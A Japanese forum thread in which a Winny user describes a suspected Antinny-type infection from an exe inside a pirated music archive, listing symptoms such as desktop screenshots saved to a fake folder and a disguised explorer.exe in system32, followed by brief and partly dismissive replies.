ﾌ 　癌　 /ヽ ヽ_／／　　　専用UploaderにデスクトップのSS投稿するわ重要ファイルは消えるわ家は燃えるわ大騒ぎ！！ｐｇｒ

Antinny系だと思うんですけど、症状などが一致しないので
既出かどうかわからないです、

【使用OS】 XP HOME SP2
【WindowsUpdateしてるか】 してます
【使用AntiVirusソフト】 ノートン
【AntiVirusをUpdateしてるか】 はい
【Winnyのﾊﾞｰｼﾞｮﾝ】 v2.0b7.1
【Winny歴、総DL量】 1年
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 該当無し？
【症状、具体的に分かる限りすべて書く】
PCを起動した直後のデスクトップ画像をキャプられる。
Program Filesの中にdaemontoolというフォルダが作成されていて
その中にキャプ画像をPNG形式で保存してる。
windows\system32にwmpアイコンに偽装してるexplorer.exeがあった。
down, Cacheフォルダともに特に異常は見受けられないです
【何をしたらそんなことになったのか】
[シングル][2005.06.08] ORANGE RANGE - お願い！セニョリータ [192kbps].zip
の中のexeをうっかり踏んでしまったからだと思います
ノートンのスキャンでも反応ありませんでした
【これまでにとった措置】
措置というか、ドライブスキャンもしましたが、反応無しでした。
上記のwmpアイコンに偽装してるexeを削除してみたら、
スクリーンショットはされなくなったみたいです

という感じなのですが、どれに該当するのか分かりにくいです；；
普通に既出なのでしょうか？

OS : me
これだけでネタと判断してしまうのは間違いでしょうか？

>>950
音楽CDとして焼け

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

どこかの初心者スレにこのスレのアドレスが貼られたのか？

はいそうです、すみません。教えてください。キンタマみたいに個人情報流れるの困りまｓ

ならば、

初心者の方へ
このスレは、nyをターゲットにし、繁殖するニュルス(nyウイルス)に付いて
未知のものを対象に、解析および情報交換を行なうところです。
山田は、山田スレへ。

ニュルス

うっかりクリックするようなやつは2度とP2Pに手出すな

>>948
daemonってばオートラン切れなく無いですか？

>>960
いいえ